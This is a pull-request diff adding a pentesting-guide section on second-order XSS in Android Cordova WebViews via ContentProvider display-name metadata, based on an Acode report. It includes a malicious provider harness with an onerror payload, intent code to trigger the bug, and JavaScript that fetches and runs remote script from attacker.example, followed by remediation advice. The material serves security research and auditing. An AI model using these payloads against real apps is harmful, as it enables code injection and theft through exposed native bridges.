Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
117 changes: 117 additions & 0 deletions src/mobile-pentesting/android-app-pentesting/webview-attacks.md
Original file line number Diff line number Diff line change
Expand Up @@ -384,6 +384,116 @@ Related



## Second-order WebView XSS through `ContentProvider` metadata

Do not limit WebView source tracing to intent extras or file bytes. A receiving app may query an attacker-owned `content://` URI, retain `OpenableColumns.DISPLAY_NAME`, and only render that name later in a dialog. If the dialog interpolates the stored value into `innerHTML`, a harmless virtual file name such as `<img src=x onerror='PAYLOAD'>` becomes **second-order XSS** inside the app's existing WebView document. This pattern was reported in Acode: its deleted-file path inserted `file.filename` into an alert message whose renderer used `innerHTML`.<sup>[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references)</sup>

The important audit path is **metadata source → persistent state → lifecycle/error path → HTML sink**, rather than only source → sink in one call.<sup>[[16]](#references)[[19]](#references)</sup>

```text
provider query() -> DISPLAY_NAME -> stored filename
-> resource later becomes unreadable/missing
-> resume/refresh/error handler
-> localized message interpolation
-> innerHTML / outerHTML / insertAdjacentHTML
-> event-handler JavaScript
```

Search hybrid-app JavaScript for both the sinks and the delayed triggers, then trace filename, title, label, MIME, and URI-derived fields backwards.<sup>[[17]](#references)[[18]](#references)[[19]](#references)</sup>

```bash
grep -RniE 'innerHTML|outerHTML|insertAdjacentHTML' assets/www src
grep -RniE 'DISPLAY_NAME|filename|displayName|getLastPathSegment' assets/www src
grep -RniE 'resume|onResume|visibilitychange|refresh|exists|deleted' assets/www src
```

### Stateful virtual-file harness

A malicious provider is useful for testing because `DISPLAY_NAME` supplies a human-readable name independently of the file bytes, while `ParcelFileDescriptor.createPipe()` returns a read end and a write end that can serve content entirely from memory.<sup>[[20]](#references)[[21]](#references)</sup> The core provider logic can switch from a valid resource to a missing one on demand:<sup>[[19]](#references)</sup>

<details>
<summary>Minimal stateful ContentProvider methods</summary>

```java
static volatile boolean gone = false;

public String getType(Uri uri) {
return gone ? null : "text/plain";
}
public Cursor query(Uri uri, String[] projection, String s,
String[] args, String order) {
if (gone) return null;
String[] cols = projection != null ? projection :
new String[]{OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE};
MatrixCursor c = new MatrixCursor(cols);
MatrixCursor.RowBuilder row = c.newRow();
for (String col : cols)
row.add(col, OpenableColumns.DISPLAY_NAME.equals(col) ?
"<img src=x onerror='PAYLOAD'>" :
OpenableColumns.SIZE.equals(col) ? 4 : null);
return c;
}
public ParcelFileDescriptor openFile(Uri uri, String mode)
throws FileNotFoundException {
if (gone) throw new FileNotFoundException();
try {
ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
new Thread(() -> {
try (OutputStream out =
new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1])) {
out.write("test".getBytes(StandardCharsets.UTF_8));
} catch (IOException ignored) {}
}).start();
return pipe[0];
} catch (IOException e) {
throw new FileNotFoundException(e.getMessage());
}
}
```

</details>

Deliver the URI to an exported `VIEW`/`EDIT`/`SEND` file handler, explicitly select the target component when testing, and grant only the URI access needed for the import. After the target has stored the metadata, either toggle the provider into its missing state or revoke the temporary URI grant. Bring the existing target Activity forward to reach resume-dependent checks; Cordova emits `resume` when the platform returns the application from the background.<sup>[[16]](#references)[[19]](#references)[[22]](#references)</sup>

```java
Uri u = Uri.parse("content://com.attacker.files/poc.txt");
Intent open = new Intent(Intent.ACTION_EDIT)
.setDataAndType(u, "text/plain")
.setComponent(new ComponentName("com.target", "com.target.MainActivity"))
.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(open);

// After the target opened the URI:
gone = true; // or revokeUriPermission(u, Intent.FLAG_GRANT_READ_URI_PERMISSION)
Intent resume = new Intent().setComponent(open.getComponent())
.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT |
Intent.FLAG_ACTIVITY_SINGLE_TOP);
startActivity(resume);
```

Treat `REORDER_TO_FRONT` as a lifecycle aid, not a guarantee: confirm with logs or an attached debugger that the intended `onResume()`/Cordova `resume` handler actually ran and that the existing editor state was reused.<sup>[[19]](#references)[[22]](#references)</sup>

### Keeping the privileged document alive

Navigating with `window.location` destroys the current hybrid-app document. If XSS must keep its Cordova/application globals, fetched HTML can instead replace the current DOM. Scripts parsed through `innerHTML` are normally inert in this workflow, so recreate the imported `<script>` nodes to execute them in the live document.<sup>[[19]](#references)</sup>

```javascript
fetch("https://attacker.example/ui").then(r => r.text()).then(html => {
const remote = new DOMParser().parseFromString(html, "text/html");
document.documentElement.innerHTML = remote.documentElement.innerHTML;
document.querySelectorAll("script").forEach(old => {
const fresh = document.createElement("script");
for (const a of old.attributes) fresh.setAttribute(a.name, a.value);
fresh.textContent = old.textContent;
old.replaceWith(fresh);
});
});
```

Whether this pivot works depends on CSP, network policy, origin restrictions, and bridge configuration. Its security impact comes from retaining the original JavaScript world: injected code should enumerate `window.cordova`, app-specific globals, and exposed native/plugin methods rather than assuming that WebView XSS automatically provides native code execution.<sup>[[16]](#references)[[19]](#references)</sup>

Render untrusted metadata with `textContent`. If alerts must auto-link URLs, create validated text and anchor nodes with DOM APIs instead of converting the whole message into HTML; if HTML is an explicit feature, apply a strict sanitizer and keep privileged bridges unavailable to that renderer.<sup>[[16]](#references)[[19]](#references)</sup>

## Trusted-origin HTML/CRM content → bridge credential theft

A strict host allowlist on a WebView is **not enough** if the trusted origin itself renders attacker-influenceable HTML such as CRM banners, loyalty widgets, support chat content, or feature-flagged marketing fragments. A practical chain is:<sup>[[13]](#references)</sup>
Expand Down Expand Up @@ -458,5 +568,12 @@ Practical notes:<sup>[[13]](#references)</sup>
- [13] [From a “Hey, {name} 👋” Banner to Full Account Takeover: Chaining Four Bugs Through a Rewards WebView](https://medium.com/@bag0zathev2/from-a-hey-name-banner-to-full-account-takeover-chaining-4-bugs-through-a-rewards-webview-f89a2b0f830f)
- [14] [Android `Activity.getReferrer()` reference](https://developer.android.com/reference/android/app/Activity#getReferrer())
- [15] [Android `Intent.EXTRA_REFERRER` reference](https://developer.android.com/reference/android/content/Intent#EXTRA_REFERRER)
- [16] [Original Acode report: HTML injection in `alert()` leads to XSS](https://github.com/Acode-Foundation/Acode/issues/1090)
- [17] [Acode v1.10.5 vulnerable alert renderer](https://github.com/Acode-Foundation/Acode/blob/v1.10.5/src/dialogs/alert.js)
- [18] [Acode v1.10.5 deleted-file check](https://github.com/Acode-Foundation/Acode/blob/v1.10.5/src/lib/checkFiles.js)
- [19] [Reproducing the Acode v1.10.5 Cordova WebView Zero-Day](https://hackmd.io/@sal/Reproducing-the-Acode-Zero-Day-Vulnerability)
- [20] [Android Developers: `OpenableColumns`](https://developer.android.com/reference/android/provider/OpenableColumns)
- [21] [Android Developers: `ParcelFileDescriptor.createPipe()`](https://developer.android.com/reference/android/os/ParcelFileDescriptor#createPipe())
- [22] [Apache Cordova: `resume` event](https://cordova.apache.org/docs/en/latest/cordova/events/events.html#resume)

{{#include ../../banners/hacktricks-training.md}}